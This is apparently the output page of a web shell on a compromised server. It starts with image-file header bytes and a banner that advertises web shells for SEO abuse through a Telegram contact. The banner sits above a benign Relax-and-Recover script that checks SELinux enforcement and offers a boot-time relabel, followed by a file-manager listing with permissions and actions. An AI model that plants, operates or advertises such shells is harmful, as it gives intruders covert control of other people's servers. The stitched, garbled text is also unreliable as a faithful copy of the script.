����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#
# Optionally relabel an SELinux-protected system
#
# FIXME: The following test looks somewhat oversophisticated:
# It only evaluates to 'true' if grep outputs exactly one (non-empty) word
# (in this case that word is 'SELINUX=enforcing') because otherwise
# e.g. "test a b" fails with "bash: [: a: unary operator expected"
# and e.g. "test a b c d" fails with "bash: [: too many arguments".
# On first glance something like
# grep -q "SELINUX=enforcing" $TARGET_FS_ROOT/etc/selinux/config
# looks simpler but that would falsely also evaluate to 'true'
# when grep finds it in comments like '# SELINUX=enforcing'
# but grep still finds it in comments like '#SELINUX=enforcing'
# (i.e. when the comment is one word) so that probably
# grep -q '^SELINUX=enforcing$' $TARGET_FS_ROOT/etc/selinux/config
# implements what is actually meant to be tested here but the latter
# probably falsely fails for 'SELINUX=enforcing ' (i.e. trailing space).
# TODO: Is this a standard path for the selinux config file?
test $( grep "SELINUX=enforcing" $TARGET_FS_ROOT/etc/selinux/config ) || return 0
LogUserOutput "
SELinux is currently set to enforcing mode.
Relabeling of the root filesystem may be required
in order to allow login of the restored system."
# When USER_INPUT_SELINUX_RELABEL_ON_NEXT_BOOT has any 'true' value be liberal in what you accept and assume exactly 'y' was actually meant:
is_true "$USER_INPUT_SELINUX_RELABEL_ON_NEXT_BOOT" && USER_INPUT_SELINUX_RELABEL_ON_NEXT_BOOT="y"
while true ; do
# According to what is shown to the user "Relabeling ... required ... to allow login"
# the default (i.e. the automated response after the timeout) should be 'y':
answer="$( UserInput -I SELINUX_RELABEL_ON_NEXT_BOOT -p "Would you like to relabel on next boot? (y/n)" -D 'y' )"
is_false "$answer" && break
if is_true "$answer" ; then
touch $TARGET_FS_ROOT/.autorelabel
break
fi
UserOutput "Please answer 'y' or 'n'"
done
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 200_start_fdrupstream.sh | File | 176 B | 0644 |
|
| 250_wait_for_restore.sh | File | 453 B | 0644 |
|
| 260_copy_log_and_report.sh | File | 2.39 KB | 0644 |
|
| 270_selinux_considerations.sh | File | 1.93 KB | 0644 |
|